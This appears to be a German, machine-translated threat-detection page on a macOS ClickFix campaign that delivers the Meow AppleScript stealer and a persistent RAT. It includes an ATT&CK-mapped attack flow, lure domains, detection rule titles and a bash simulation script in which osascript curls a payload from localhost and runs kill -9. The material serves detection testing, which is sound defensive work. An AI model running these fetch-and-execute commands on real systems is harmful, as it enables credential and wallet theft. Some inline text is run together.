macOS ClickFix-Köder setzen AppleScript-Stealer und persistentes RAT ein
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Eine russischsprachige Bedrohungsakteur nutzt eine ClickFix-Social-Engineering-Kampagne, um eine zweistufige macOS-Malware-Infektion bereitzustellen. Der Angriff beginnt mit einer dateilosen Ausführungskette, die über Terminalbefehle gestartet wird, und liefert einen AppleScript-basierten Infostealer namens Meow (DEBUG) zusammen mit einem persistierenden Fernzugriffs-Trojaner. Die Malware zielt auf Kryptowährungs-Wallets, Browser-Anmeldedaten und Messaging-Sitzungsdaten ab, während auch eindringliche Codeinjektionen in Desktop-Wallet-Anwendungen durchgeführt werden.
Untersuchung
Netskope Threat Labs identifizierte am 31. Mai 2026 eine aktualisierte Version der Kampagne, die einen Wechsel von einem einfachen Stealer zu einem leistungsfähigeren RAT zeigt. Ihre Analyse deckte einen ausgeklügelten dateilosen Infektionsablauf, Geofencing-Logik, die entwickelt wurde, um russischsprachige Opfer zu vermeiden, und ad-hoc Neusignierung zur Umgehung des macOS Gatekeeper-Schutzes auf. Die Forscher verknüpften die Kampagne auch mit 25 kurzlebigen Lock-Domains, die dieselben Registrierungs-Kontaktdaten teilten.
Minderung
Verteidiger sollten Priorität darauf legen, Lock-Domains zu blockieren und auf verdächtige Terminalbefehle zu überwachen, die curl and osascriptbeinhalten. Organisationen sollten strengere Kontrollen über den Terminalzugriff anwenden und auf unautorisierte Änderungen an Anwendungsbündeln von Kryptowährungswallets achten. Host-basierte Erkennung kann sich auch auf die Persistenz-Pliste com.apple.accountsd und das /tmp/shub_ Staging-Muster konzentrieren.
Reaktion
Wenn diese Aktivität erkannt wird, sollte der betroffene macOS-Host sofort isoliert werden, um weiteren Datendiebstahl oder potenzielle seitliche Bewegungen zu stoppen. Alle installierten Desktop-Kryptowährungswallets sollten als kompromittiert betrachtet und von vertrauenswürdigen Quellen neu installiert werden. Ermittler sollten ebenfalls eine forensische Überprüfung der LaunchDaemons und LaunchAgents auf unautorisierte Einträge durchführen, mit besonderem Augenmerk auf com.apple.accountsd.
"graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef persistence fill:#99ff99 classDef exfiltration fill:#ffff99 %% Initial Access and Execution attack_drive_by["<b>Action</b> – <b idea='T1189'>Drive-by Compromise</b><br/>Opfer besuchen bösartige Lock-Domains<br/>wie filesapphirecanvas.sbs oder<br/>filemintcastle.sbs, die sich als<br/>macOS-Dienstprogramme oder GitHub-Repositorys ausgeben."] class attack_drive_by action attack_user_exec_copy["<b>Action</b> – <b idea='T1204.004'>User Execution: Malicious Copy and Paste</b><br/>Social Engineering-Opfer, um Befehle von<br/>gefälschten Websites in das<br/>macOS-Terminal zu kopieren."] class attack_user_exec_copy action attack_obfuscation["<b>Action</b> – <b idea='T1027.009'>Obfuscated Files or Information: Embedded Payloads</b><br/>Verwendet Gzip-komprimierte und Base64-codierte<br/>Heredoc, um einen Stage 1 Loader im Arbeitsspeicher auszuführen."] class attack_obfuscation action %% Loader Logic and Guardrails loader_stage1["<b>Process</b> – <b idea='Stage 1 Loader'>Memory Resident Loader</b><br/>Wird über obfuskierte Befehlskette ausgeführt,<br/>um Festplattenspuren zu vermeiden."] class loader_stage1 tool guardrail_geofence["<b>Action</b> – <b idea='T1480.002'>Execution Guardrails: Mutual Exclusion</b><br/>Überprüft das Layout der Macintosh-Tastatur,<br/>um russischsprachige Benutzer über<br/>Geofencing-Logik zu meiden."] class guardrail_geofence action loader_reflective["<b>Action</b> – <b idea='T1620'>Reflective Code Loading</b><br/>Ruft zweite Stufe AppleScript über<br/>curl ab und piped es direkt in<br/>osascript Speicher."] class loader_reflective action %% Payload and Credential Theft malware_meow["<b>Malware</b> – <b idea='Meow Payload'>Meow-Payload</b><br/>Arbeitsspeicherresidenter Payload aktiv<br/>nach reflektierender Ladung."] class malware_meow malware attack_gui_capture["<b>Action</b> – <b idea='T1056.002'>Input Capture: GUI Input Capture</b><br/>Verwendet eine gefälschte Systemeinstellungen-<br/>Dialog, um Benutzeranmeldepasswörter zu sammeln."] class attack_gui_capture action attack_securityd["<b>Action</b> – <b idea='T1555.002'>Credentials from Password Stores: Securityd Memory</b><br/>Entsperrt das macOS-Schlüsselbund, um sichere<br/>Speicherschlüssel mit gesammelten<br/>Passwörtern zu extrahieren."] class attack_securityd action %% Data Theft and Exfiltration attack_browser_discovery["<b>Action</b> – <b idea='T1217'>Browser Information Discovery</b><br/>Scannt nach Browserdaten über<br/>Chrome, Safari und Firefox."] class attack_browser_discovery action attack_session_steal["<b>Action</b> – <b idea='T1539'>Steal Web Session Cookie</b><br/>Exfiltriert Sitzungs-Cookies, um<br/>unerlaubten Zugriff zu erhalten."] class attack_session_steal exfiltration attack_crypto_theft["<b>Action</b> – <b idea='T1657'>Financial Theft</b><br/>Zielt auf Kryptowährungs-Wallets einschließlich<br/>MetaMask-Erweiterungen und Desktop-Apps<br/>wie Exodus und Ledger."] class attack_crypto_theft exfiltration %% Persistence and C2 persistence_launch["<b>Persistence</b> – <b idea='T1543.001'>LaunchAgent oder LaunchDaemon</b><br/>Erzeugt einen persistenten Mechanismus,<br/>getarnt als com.apple.accountsd."] class persistence_launch persistence c2_beaconing["<b>Action</b> – <b idea='T1568'>Command and Control</b><br/>Etablieren eines 60-Sekunden-<br/>Beaconing-Zyklus mit dynamischer<br/>Auflösung für willkürliche<br/>Code-Ausführung."] class c2_beaconing tool %% Connections attack_drive_by –>|führt_zu| attack_user_exec_copy attack_user_exec_copy –>|löst_aus| attack_obfuscation attack_obfuscation –>|führt_aus| loader_stage1 loader_stage1 –>|führt_zu| guardrail_geofence guardrail_geofence –>|erlaubt| loader_reflective loader_reflective –>|lädt| malware_meow malware_meow –>|führt_aus| attack_gui_capture attack_gui_capture –>|ermöglicht| attack_securityd attack_securityd –>|führt_zu| attack_browser_discovery attack_browser_discovery –>|führt_zu| attack_session_steal attack_browser_discovery –>|führt_zu| attack_crypto_theft malware_meow –>|etablieren| persistence_launch malware_meow –>|kommuniziert_mit| c2_beaconing "
Angriffsfluss
Erkennungen
Verdächtige Befehls- und Kontrollanfrage durch ungewöhnliche Top-Level-Domain (TLD) DNS-Anfrage (via dns)
Ansehen
Möglicher macOS-Browser-Passwort-Entdeckungsversuch (via cmdline)
Ansehen
Mögliche Manipulation von Base64-codierten Zeichenfolgen [MacOS] (via cmdline)
Ansehen
Erzwungene Codesignierung eines modifizierten Anwendungsbündels (via cmdline)
Ansehen
macOS Anmeldeinformationen Prüfung durch Dscl Authonly (via cmdline)
Ansehen
Verdächtiger Curl-Ausführungsversuch [MacOS] (via cmdline)
Ansehen
Archiv wurde im temporären Ordner von macOS erstellt (via file_event)
Ansehen
Erkennung der dateilosen macOS AppleScript-Stealer-Ausführung [Linux Process Creation]
Ansehen
Simulation Execution
Voraussetzung: Das Telemetrie- & Basis-Vorchecken muss bestanden sein.
Begründung: Dieser Abschnitt beschreibt die präzise Ausführung der Adversary Technique (TTP), die darauf abzielt, die Erkennungsregel auszulösen. Die Befehle und der Bericht MÜSSEN direkt die identifizierten TTPs widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird. Abstrakte oder nicht verwandte Beispiele führen zu Fehldiagnosen.
-
Angriffsszenario & Befehle: Ein Angreifer hat sich über eine bösartige Webseite Zugang verschafft. Er führt ein dateiloses macOS-AppleScript aus, um dateibasierte Scans zu umgehen. Das Ziel des Skripts ist es, eine sekundäre Nutzlast durch Vorspiegelung eines legitimen Chrome-Browser-User-Agents herunterzuladen, um grundlegende Netzwerküberwachung zu vermeiden, und dann sofort alle laufenden Kryptowährungswallet-Anwendungen zu beenden, um den Benutzer daran zu hindern, seine Mittel zu sichern. Der Angreifer nutzt
osascriptumcurlmit spezifischen Flags undkill -9diese Aktionen durchzuführen. -
Regression Test Skript:
#!/bin/bash # Simulation von dateilosem macOS AppleScript Stealer echo "[+] Starte Simulation: Dateiloser macOS Stealer" # Schritt 1: Simuliere den curl Nutzlastabruf über osascript (Löst selection_curl_ua aus) echo "[+] Führe Phase 1 aus: Gefälscher Curl via osascript..." osascript -e 'do shell script "curl -k -s --max-time 30 -H "User-Agent: Mozilla/5.0" http://localhost:8080/payload"' 2>/dev/null & # Warte einen Moment auf Prozesskreation sleep 2 # Schritt 2: Simuliere Prozessbeendigung (Löst selection_kill aus) # Wir verwenden einen Dummyprozess zum Beenden, um das System nicht zu stören echo "[+] Führe Phase 2 aus: Prozessbeendigung via osascript..." sleep 1 osascript -e 'do shell script "kill -9 $$"' # Hinweis: Dies beendet die aktuelle Untershell, simuliert die Absicht # Hinweis: Für eine sauberere Simulation, die ein echtes Ziel nachahmt: # sleep 1 && sleep 1 & # osascript -e 'do shell script "kill -9 $!"' echo "[+] Simulationsbefehle gesendet." -
Aufräumbefehle:
# Es wurden durch das Skript keine Dateien erstellt, aber wir stellen sicher, dass keine Hintergrundprozesse mehr bestehen. killall osascript 2>/dev/null echo "[+] Aufräumen abgeschlossen."